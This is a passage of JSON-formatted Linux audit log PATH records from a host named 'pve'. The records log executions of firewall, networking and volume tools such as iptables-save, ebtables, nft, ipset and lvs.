cap_frootid=0"} {"@timestamp":1781964586001,"@rawstring":"node=pve type=PATH msg=audit(1781964586.001:61642): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585996,"@rawstring":"node=pve type=PATH msg=audit(1781964585.996:61641): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585996,"@rawstring":"node=pve type=PATH msg=audit(1781964585.996:61641): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585989,"@rawstring":"node=pve type=PATH msg=audit(1781964585.989:61640): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585989,"@rawstring":"node=pve type=PATH msg=audit(1781964585.989:61640): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585984,"@rawstring":"node=pve type=PATH msg=audit(1781964585.984:61639): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585984,"@rawstring":"node=pve type=PATH msg=audit(1781964585.984:61639): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585978,"@rawstring":"node=pve type=PATH msg=audit(1781964585.978:61638): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585978,"@rawstring":"node=pve type=PATH msg=audit(1781964585.978:61638): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585972,"@rawstring":"node=pve type=PATH msg=audit(1781964585.972:61637): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964585972,"@rawstring":"node=pve type=PATH msg=audit(1781964585.972:61637): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=PATH msg=audit(1781964584.930:61636): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=PATH msg=audit(1781964584.930:61636): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=PATH msg=audit(1781964584.930:61635): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584930,"@rawstring":"node=pve type=PATH msg=audit(1781964584.930:61634): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=PATH msg=audit(1781964584.922:61633): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=PATH msg=audit(1781964584.922:61633): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=PATH msg=audit(1781964584.922:61632): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584922,"@rawstring":"node=pve type=PATH msg=audit(1781964584.922:61631): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584697,"@rawstring":"node=pve type=PATH msg=audit(1781964584.697:61630): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584697,"@rawstring":"node=pve type=PATH msg=audit(1781964584.697:61630): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584669,"@rawstring":"node=pve type=PATH msg=audit(1781964584.669:61629): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964584669,"@rawstring":"node=pve type=PATH msg=audit(1781964584.669:61629): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=PATH msg=audit(1781964579.911:61628): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=PATH msg=audit(1781964579.911:61628): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=PATH msg=audit(1781964579.911:61627): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579911,"@rawstring":"node=pve type=PATH msg=audit(1781964579.911:61626): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=PATH msg=audit(1781964579.900:61625): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=PATH msg=audit(1781964579.900:61625): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=PATH msg=audit(1781964579.900:61624): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579900,"@rawstring":"node=pve type=PATH msg=audit(1781964579.900:61623): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579800,"@rawstring":"node=pve type=PATH msg=audit(1781964579.800:61622): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579800,"@rawstring":"node=pve type=PATH msg=audit(1781964579.800:61622): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579800,"@rawstring":"node=pve type=PATH msg=audit(1781964579.800:61621): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579800,"@rawstring":"node=pve type=PATH msg=audit(1781964579.800:61621): item=0 name=\"/usr/bin/ps\" inode=260869 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579798,"@rawstring":"node=pve type=PATH msg=audit(1781964579.798:61620): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964579798,"@rawstring":"node=pve type=PATH msg=audit(1781964579.798:61620): item=0 name=\"/usr/bin/awk\" inode=260819 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575961,"@rawstring":"node=pve type=PATH msg=audit(1781964575.961:61619): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575961,"@rawstring":"node=pve type=PATH msg=audit(1781964575.961:61619): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575958,"@rawstring":"node=pve type=PATH msg=audit(1781964575.958:61618): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575958,"@rawstring":"node=pve type=PATH msg=audit(1781964575.958:61618): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575957,"@rawstring":"node=pve type=PATH msg=audit(1781964575.957:61617): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575957,"@rawstring":"node=pve type=PATH msg=audit(1781964575.957:61617): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575957,"@rawstring":"node=pve type=PATH msg=audit(1781964575.957:61616): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575952,"@rawstring":"node=pve type=PATH msg=audit(1781964575.952:61615): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575952,"@rawstring":"node=pve type=PATH msg=audit(1781964575.952:61615): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575952,"@rawstring":"node=pve type=PATH msg=audit(1781964575.952:61615): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575947,"@rawstring":"node=pve type=PATH msg=audit(1781964575.947:61614): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575947,"@rawstring":"node=pve type=PATH msg=audit(1781964575.947:61614): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575940,"@rawstring":"node=pve type=PATH msg=audit(1781964575.940:61613): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575940,"@rawstring":"node=pve type=PATH msg=audit(1781964575.940:61613): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575934,"@rawstring":"node=pve type=PATH msg=audit(1781964575.934:61612): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575934,"@rawstring":"node=pve type=PATH msg=audit(1781964575.934:61612): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575929,"@rawstring":"node=pve type=PATH msg=audit(1781964575.929:61611): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575929,"@rawstring":"node=pve type=PATH msg=audit(1781964575.929:61611): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575923,"@rawstring":"node=pve type=PATH msg=audit(1781964575.923:61609): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575923,"@rawstring":"node=pve type=PATH msg=audit(1781964575.923:61609): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575918,"@rawstring":"node=pve type=PATH msg=audit(1781964575.918:61608): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575918,"@rawstring":"node=pve type=PATH msg=audit(1781964575.918:61608): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575913,"@rawstring":"node=pve type=PATH msg=audit(1781964575.913:61607): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575913,"@rawstring":"node=pve type=PATH msg=audit(1781964575.913:61607): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575908,"@rawstring":"node=pve type=PATH msg=audit(1781964575.908:61606): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575908,"@rawstring":"node=pve type=PATH msg=audit(1781964575.908:61606): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575902,"@rawstring":"node=pve type=PATH msg=audit(1781964575.902:61605): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575902,"@rawstring":"node=pve type=PATH msg=audit(1781964575.902:61605): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575897,"@rawstring":"node=pve type=PATH msg=audit(1781964575.897:61604): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575897,"@rawstring":"node=pve type=PATH msg=audit(1781964575.897:61604): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575891,"@rawstring":"node=pve type=PATH msg=audit(1781964575.891:61603): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575891,"@rawstring":"node=pve type=PATH msg=audit(1781964575.891:61603): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575885,"@rawstring":"node=pve type=PATH msg=audit(1781964575.885:61602): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575885,"@rawstring":"node=pve type=PATH msg=audit(1781964575.885:61602): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575881,"@rawstring":"node=pve type=PATH msg=audit(1781964575.881:61601): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575881,"@rawstring":"node=pve type=PATH msg=audit(1781964575.881:61601): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=PATH msg=audit(1781964575.878:61600): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=PATH msg=audit(1781964575.878:61600): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=PATH msg=audit(1781964575.878:61599): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=PATH msg=audit(1781964575.878:61599): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575878,"@rawstring":"node=pve type=PATH msg=audit(1781964575.878:61598): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575874,"@rawstring":"node=pve type=PATH msg=audit(1781964575.874:61597): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575874,"@rawstring":"node=pve type=PATH msg=audit(1781964575.874:61597): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575874,"@rawstring":"node=pve type=PATH msg=audit(1781964575.874:61597): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575867,"@rawstring":"node=pve type=PATH msg=audit(1781964575.867:61596): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575867,"@rawstring":"node=pve type=PATH msg=audit(1781964575.867:61596): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575861,"@rawstring":"node=pve type=PATH msg=audit(1781964575.861:61595): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575861,"@rawstring":"node=pve type=PATH msg=audit(1781964575.861:61595): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575856,"@rawstring":"node=pve type=PATH msg=audit(1781964575.856:61594): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575856,"@rawstring":"node=pve type=PATH msg=audit(1781964575.856:61594): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575850,"@rawstring":"node=pve type=PATH msg=audit(1781964575.850:61593): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575850,"@rawstring":"node=pve type=PATH msg=audit(1781964575.850:61593): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575844,"@rawstring":"node=pve type=PATH msg=audit(1781964575.844:61592): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964575844,"@rawstring":"node=pve type=PATH msg=audit(1781964575.844:61592): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=PATH msg=audit(1781964574.890:61591): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=PATH msg=audit(1781964574.890:61591): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=PATH msg=audit(1781964574.890:61590): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964574890,"@rawstring":"node=pve type=PATH msg=audit(1781964574.890:61589): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} 